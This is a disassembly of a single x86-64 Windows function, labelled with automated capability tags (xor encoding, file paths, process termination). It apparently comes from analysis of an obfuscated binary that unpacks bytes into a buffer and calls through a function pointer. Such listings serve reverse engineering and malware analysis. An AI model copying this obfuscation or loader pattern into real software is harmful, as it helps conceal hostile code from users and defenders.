Function at 0x14000579c
Capabilities:
Encode data using xor
Get common file path
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x20], rdi
push rbp
push r12
push r14
mov rbp, rsp
sub rsp, 0x60
mov qword [0x140012188], r8
lea rsi, [0x140012010]
mov dword [rbp - 8], 0x29eb
xor ebx, ebx
mov dword [rbp + 0x30], ebx
mov r12d, 0x23f7
mov dword [rbp - 0x20], ebx
mov r14d, 0x2b2a
mov dword [rbp - 0x1c], 0x2639
mov dword [rbp - 0x18], ebx
lea edi, [rbx + 1]
mov dword [rbp - 0xc], r12d
mov dword [rbp - 0x14], 0x273d
mov dword [rbp - 0x10], 0x26ea
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x30]
add ecx, 0xfffff93f
cmp eax, ecx
jge 0x140005978
xor dword [rbp - 0x1c], 0xd3a
mov rax, qword [section..data]
mov ecx, dword [rbp - 8]
mov edx, dword [rbp - 0x10]
xor ecx, 0xed6
mov r8d, dword [rbp - 0x14]
sub edx, 0x2e5
mov r9d, dword [rbp - 0x20]
sub r8d, 0x416
mov r10d, dword [rbp + 0x30]
add r9d, r14d
mov dword [0x140012014], edi
add r10d, 0x26ea
mov dword [0x14001201c], ebx
mov dword [0x140012034], ebx
mov qword [0x14001204c], 0x12
mov dword [rax + 0x50], ebx
mov rax, qword [section..data]
mov dword [0x14001206c], ebx
mov qword [0x140012080], rbx
mov dword [0x140012088], 9
mov dword [0x14001209c], 0x4f
mov dword [0x1400120a4], edi
mov dword [0x1400120a8], 0x44
mov dword [rax + 0xa8], ebx
mov rax, qword [section..data]
mov dword [0x1400120bc], ebx
mov dword [0x1400120c8], edi
mov dword [0x1400120cc], edi
mov qword [0x1400120dc], rbx
mov dword [0x140012108], ebx
mov dword [rax + 0x100], edi
mov rax, qword [section..data]
mov qword [0x140012128], rbx
mov dword [0x140012138], ebx
mov dword [0x140012150], 0x35
mov dword [rax + 0x148], edi
mov rax, qword [section..data]
mov dword [0x140012168], 0x29
mov dword [0x14001216c], edi
mov dword [rax + 0x170], ebx
mov eax, dword [rbp - 0x1c]
sub eax, 0x70c
mov dword [rsp + 0x30], eax
mov dword [r11 - 0x50], r10d
mov qword [r11 - 0x58], rsi
call fcn.1400068b8
mov dword [rbp - 0x10], eax
mov eax, dword [0x14001216c]
cmp dword [0x140012080], eax
je 0x14000596c
mov rax, qword [section..data]
mov edx, dword [0x14001204c]
add edx, 0xffe6e8cc
add edx, dword [rax + 0x70]
mov eax, dword [0x140012134]
imul eax, edx
mov dword [0x140012134], eax
jmp 0x140005978
mov eax, dword [0x140012128]
add dword [0x14001209c], eax
add dword [rbp - 0x20], r14d
mov r14d, 0x4cb
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
xor ecx, 0x417
cmp eax, ecx
jle 0x140005b84
add dword [rbp - 0x20], 0xfffff748
add dword [rbp - 0x10], 0x25d
mov rcx, qword [section..data]
mov eax, dword [0x140012134]
mov dword [rcx + 0xc0], eax
xor dword [rbp - 0x20], 0xab6
add dword [rbp + 0x30], r12d
add dword [rbp - 8], 0xfffffd52
mov ecx, dword [rbp + 0x30]
mov edx, dword [rbp - 0x14]
add ecx, 0x5f4
mov r8d, dword [rbp - 8]
mov r9d, dword [rbp - 0x18]
sub r8d, r14d
mov eax, dword [rbp - 8]
xor r9d, edx
sub eax, 0x416
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r9d
mov r9, rsi
call fcn.1400066c4
mov r8d, dword [0x1400120c8]
mov dword [rbp - 0x1c], eax
mov ecx, dword [0x14001204c]
mov eax, dword [0x14001206c]
sub eax, dword [0x140012080]
add dword [0x1400120a8], eax
mov eax, dword [0x140012050]
xor eax, 0xfff35868
imul ecx, eax
mov eax, edi
sub eax, dword [0x140012014]
add dword [0x14001201c], eax
mov dword [0x14001204c], ecx
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x5c]
xor eax, r8d
xor eax, 0x111098
mov dword [rcx + 0x5c], eax
movsxd rcx, dword [0x1400120a0]
mov rax, qword [0x1400120f0]
mov r9d, dword [rbx + rax]
add rbx, 4
imul r9d, dword [0x140012070]
mov rax, qword [0x1400120f8]
mov edx, r9d
mov r8d, r9d
shr edx, 0x18
mov byte [rcx + rax], dl
mov eax, dword [0x1400120a0]
add eax, edi
shr r8d, 0x10
mov dword [0x1400120a0], eax
movsxd rdx, eax
mov rax, qword [section..data]
mov rcx, qword [rax + 0xe8]
mov byte [rdx + rcx], r8b
mov edx, r9d
add dword [0x1400120a0], edi
mov rcx, qword [section..data]
shr edx, 8
mov eax, dword [rcx + 0x140]
sub eax, dword [0x14001216c]
add eax, 0xb994c
or dword [rcx + 0x170], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0x15c]
xor ecx, dword [rax + 0x3c]
mov eax, dword [0x140012014]
sub ecx, 0x1754d9
imul eax, ecx
mov ecx, dword [0x1400120a8]
mov dword [0x140012014], eax
mov eax, dword [0x140012158]
add eax, 0xffec2437
imul ecx, eax
mov rax, qword [0x1400120f8]
mov dword [0x1400120a8], ecx
movsxd rcx, dword [0x1400120a0]
mov byte [rcx + rax], dl
mov rax, qword [section..data]
add dword [0x1400120a0], edi
movsxd rcx, dword [rax + 0x90]
mov rax, qword [0x1400120f8]
mov byte [rcx + rax], r9b
mov rax, qword [section..data]
add dword [rax + 0x90], edi
mov r8d, dword [0x1400120c8]
mov edx, dword [0x140012060]
add edx, 0xfff0a977
add edx, dword [0x140012180]
imul r8d, edx
mov dword [0x1400120c8], r8d
cmp rbx, 0x68f4
jl 0x140005a06
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
xor ecx, 0x529
cmp eax, ecx
jg 0x140005e7c
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffffa9a
cmp eax, ecx
je 0x140005cbe
add dword [rbp - 0x20], 0xfffffd9e
add dword [rbp + 0x30], 0xfffffe7b
mov rcx, qword [section..data]
mov eax, dword [0x140012034]
cmp dword [rcx + 0xac], eax
jb 0x140005be2
mov eax, dword [rcx + 0xa8]
sub eax, 0x45d1745d
mov dword [0x140012070], eax
jmp 0x140005bfa
mov eax, dword [0x140012168]
sub eax, dword [0x140012180]
sub eax, dword [0x14001212c]
add dword [0x140012138], eax
mov ecx, dword [rbp + 0x30]
mov r8, rsi
mov edx, dword [rbp - 0x14]
add ecx, r14d
mov r9d, dword [rbp - 0x1c]
sub edx, r14d
mov eax, dword [rbp - 0x10]
sub eax, 0x29
mov dword [rsp + 0x20], eax
call fcn.140002520
mov dword [rbp - 0x18], eax
mov r8, rsi
add dword [rbp - 0xc], 0xe
mov ecx, dword [rbp - 0x18]
mov edx, dword [rbp - 0x1c]
add ecx, 0xc1c
mov r9d, dword [rbp - 0x1c]
sub edx, 0x7f1
mov r11d, dword [rbp - 0x18]
xor r9d, 0x917
mov r10d, dword [rbp + 0x30]
add r11d, 0x119
mov eax, dword [rbp - 0x14]
add r10d, 0x193
add eax, 0x2ae
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call fcn.140003994
mov dword [rbp - 0x10], eax
add dword [rbp - 0x14], 0x6ed
add dword [rbp - 0x18], 0x42b
cmp dword [0x14001201c], 0xfe30
jae 0x140005cab
mov rdx, qword [0x140012188]
mov rcx, qword [0x140012140]
call qword [0x1400120e8]
mov dword [0x14001213c], eax
add dword [rbp - 0x18], 0x4ca
add dword [rbp - 0x20], 0x389
jmp 0x140005e7c
mov eax, dword [0x1400120c0]
imul eax, dword [0x140012128]
mov rdx, qword [section..data]
mov ecx, dword [rdx + 0xbc]
sub eax, ecx
cmp dword [0x14001206c], eax
jbe 0x140005e7c
mov eax, dword [0x14001214c]
or eax, dword [0x1400120c8]
cmp ecx, eax
jne 0x140005e10
mov eax, dword [rdx + 0x78]
mov ecx, dword [rbp - 0x1c]
sub eax, 0x2272
mov edx, dword [0x14001204c]
imul ecx, eax
or rdx, r12
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rax, qword [section..data]
mov ecx, dword [0x140012084]
and ecx, 0x26ea
mov edx, dword [rax + 0x6c]
mov eax, dword [rbp + 0x30]
sub edx, 0x2639
add edx, eax
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, dword [rbp + 0x30]
or eax, dword [0x1400120bc]
xor dword [rbp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
movsxd rax, dword [rbp - 0x18]
movsxd rdx, dword [rbp - 0x20]
movsxd rcx, dword [rbp - 8]
and rdx, rax
and rcx, rdx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [rbp - 0xc]
mov edx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
sub edx, eax
mov r9d, dword [rbp - 0xc]
mov r10d, dword [rbp - 0x18]
add r9d, 0x2327
imul r8d, dword [0x140012024], 0x2662
mov eax, dword [rbp + 0x30]
add r10d, eax
xor ecx, dword [0x1400120e0]
mov r11, qword [section..data]
sub ecx, r12d
or r9d, dword [0x1400120c4]
mov dword [rsp + 0x28], r10d
xor r8d, r12d
mov qword [rsp + 0x20], r11
call fcn.140002c8c
mov dword [rbp - 0x1c], eax
mov ecx, dword [rbp - 0x10]
mov edx, dword [rbp - 0x18]
mov eax, dword [0x140012018]
add edx, 0x29eb
mov r9d, dword [rbp - 0xc]
add eax, 0x2662
or edx, dword [0x14001215c]
add ecx, eax
mov rax, qword [section..data]
add r9d, dword [0x140012180]
mov qword [rsp + 0x20], rsi
imul r8d, dword [rax + 0x15c], 0x2b03
call fcn.140002e78
mov dword [rbp - 0x14], eax
jmp 0x140005e7c
mov esi, dword [rbp - 0x1c]
mov edx, dword [rbp - 0x14]
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
add ecx, eax
mov r9d, dword [rbp - 0x14]
mov edi, dword [rbp - 0xc]
mov eax, dword [0x140012100]
mov ebx, dword [0x1400120bc]
xor r9, rax
mov eax, dword [rbp - 0x10]
mov r10d, dword [rbp - 0x20]
add esi, dword [0x140012098]
sub r10d, eax
or ebx, dword [0x140012168]
add edi, dword [0x1400120cc]
or edx, dword [0x14001216c]
movsxd r11, r10d
movsxd r10, dword [rbp - 8]
imul r8d, ecx, 0x2272
and r10, r11
mov qword [rsp + 0x30], r10
mov ecx, esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [0x14001213c]
call qword [sym.imp.KERNEL32.dll_ExitProcess]